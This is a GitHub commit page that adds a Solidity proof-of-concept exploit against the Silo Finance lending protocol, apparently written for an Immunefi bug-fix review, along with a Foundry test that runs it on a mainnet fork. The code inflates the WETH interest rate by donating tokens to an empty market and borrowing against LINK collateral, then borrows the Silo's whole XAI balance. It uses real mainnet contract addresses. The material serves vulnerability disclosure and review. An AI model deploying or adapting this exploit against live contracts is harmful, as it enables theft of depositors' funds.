Skip to content

Commit

Permalink
Merge pull request #1 from immunefi-team/SiloFinance
Browse files Browse the repository at this point in the history
Added SiloFinance POC for Bug Fix Review
  • Loading branch information
GibranAkbaromiL authored May 23, 2023
2 parents 2b425cb + 58fd992 commit 852b181
Show file tree
Hide file tree
Showing 2 changed files with 164 additions and 0 deletions.
113 changes: 113 additions & 0 deletions src/SiloFinance/BugFixReview.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
pragma solidity ^0.8.0;

import "forge-std/console.sol";

import "@openzeppelin/interfaces/IERC20.sol";

interface ISilo {
function deposit(address _asset, uint256 _amount, bool _collateralOnly)
external
returns (uint256 collateralAmount, uint256 collateralShare);

function borrow(address _asset, uint256 _amount) external returns (uint256 debtAmount, uint256 debtShare);

function assetStorage(address _asset) external view returns (IBaseSilo.AssetStorage memory) ;

function accrueInterest(address _asset) external returns (uint256 interest);
}

interface IBaseSilo {
/// @dev Storage struct that holds all required data for a single token market
struct AssetStorage {
/// @dev Token that represents a share in totalDeposits of Silo
IShareToken collateralToken;
/// @dev Token that represents a share in collateralOnlyDeposits of Silo
IShareToken collateralOnlyToken;
/// @dev Token that represents a share in totalBorrowAmount of Silo
IShareToken debtToken;
/// @dev COLLATERAL: Amount of asset token that has been deposited to Silo with interest earned by depositors.
/// It also includes token amount that has been borrowed.
uint256 totalDeposits;
/// @dev COLLATERAL ONLY: Amount of asset token that has been deposited to Silo that can be ONLY used
/// as collateral. These deposits do NOT earn interest and CANNOT be borrowed.
uint256 collateralOnlyDeposits;
/// @dev DEBT: Amount of asset token that has been borrowed with accrued interest.
uint256 totalBorrowAmount;
}
}

interface IShareToken {}

contract OtherAccount{

ISilo immutable SILO;
IERC20 constant public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant public LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);

address owner;

constructor(ISilo _silo) {
owner = msg.sender;
SILO = _silo;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function depositLinkAndBorrowWETH() external onlyOwner { // This will inflate the ETH interest rate.
uint256 depositAmount = LINK.balanceOf(address(this));
LINK.approve(address(SILO), depositAmount);
SILO.deposit(address(LINK), depositAmount, true);
SILO.borrow(address(WETH), 1 ether);
WETH.transfer(owner, 1 ether); // Return the borrowed amount to the exploit contract
}
}

contract SiloBugFixReview{

ISilo public constant SILO = ISilo(0xcB3B879aB11F825885d5aDD8Bf3672596d35197C);
IERC20 public constant XAI = IERC20(0xd7C9F0e536dC865Ae858b0C0453Fe76D13c3bEAc);
IERC20 constant public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant public LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);

OtherAccount public immutable otherAccount;

constructor() {
otherAccount = new OtherAccount(SILO);
}


modifier checkZeroAssetStorage() {
require(SILO.assetStorage(address(WETH)).totalDeposits == 0);
_;
}

function run() external checkZeroAssetStorage {
uint256 accrueInterest = SILO.accrueInterest(address(WETH));

console.log("Balance of XAI before exploit= ", XAI.balanceOf(address(this)));
console.log("WETH interest rate before exploit = ", accrueInterest);

uint256 depositAmount = 1e5;
uint256 donatedAmount = 1e18;

WETH.approve(address(SILO), depositAmount);
SILO.deposit(address(WETH), depositAmount, false);

WETH.transfer(address(SILO), donatedAmount);

otherAccount.depositLinkAndBorrowWETH();
}

function run2() external {
uint256 accrueInterest = SILO.accrueInterest(address(WETH));
SILO.borrow(address(XAI), XAI.balanceOf(address(SILO)));

console.log("Balance of XAI after exploit= ", XAI.balanceOf(address(this)));
console.log("WETH interest rate after exploit = ", accrueInterest);

}
}

51 changes: 51 additions & 0 deletions test/SiloFinance/BugFixReview.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../../src/SiloFinance/BugFixReview.sol";

contract SiloBugFixReviewTest is Test {
uint256 mainnetFork;

SiloBugFixReview public siloBugFixReview;

uint256 constant depositAmount = 1e5;
uint256 constant donatedAmount = 1e18;

uint256 otherAccountDepositAmount = 545*1e18;

function setUp() public {
mainnetFork = vm.createFork("mainnet", 17139470);
vm.selectFork(mainnetFork);
siloBugFixReview = new SiloBugFixReview();
deal(address(siloBugFixReview.WETH()), address(siloBugFixReview), depositAmount + donatedAmount);
deal(address(siloBugFixReview.LINK()), address(siloBugFixReview.otherAccount()), otherAccountDepositAmount);
}

function testAttack() public {
address LINK = 0x514910771AF9Ca656af840dff83E8264EcF986CA;

address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

console.log("time stamp before = ",block.timestamp);
console.log("block number before = ",block.number);
siloBugFixReview.run();
vm.makePersistent(address(siloBugFixReview));
vm.makePersistent(address(siloBugFixReview.SILO()));

vm.makePersistent(WETH);
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralToken));
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralOnlyToken));
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).debtToken));

vm.makePersistent(LINK);
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralToken));
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralOnlyToken));
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).debtToken));

vm.rollFork(block.number + 1);

console.log("time stamp after = ",block.timestamp);
console.log("block number after = ",block.number);
siloBugFixReview.run2();
}
}

0 comments on commit 852b181

Please sign in to comment.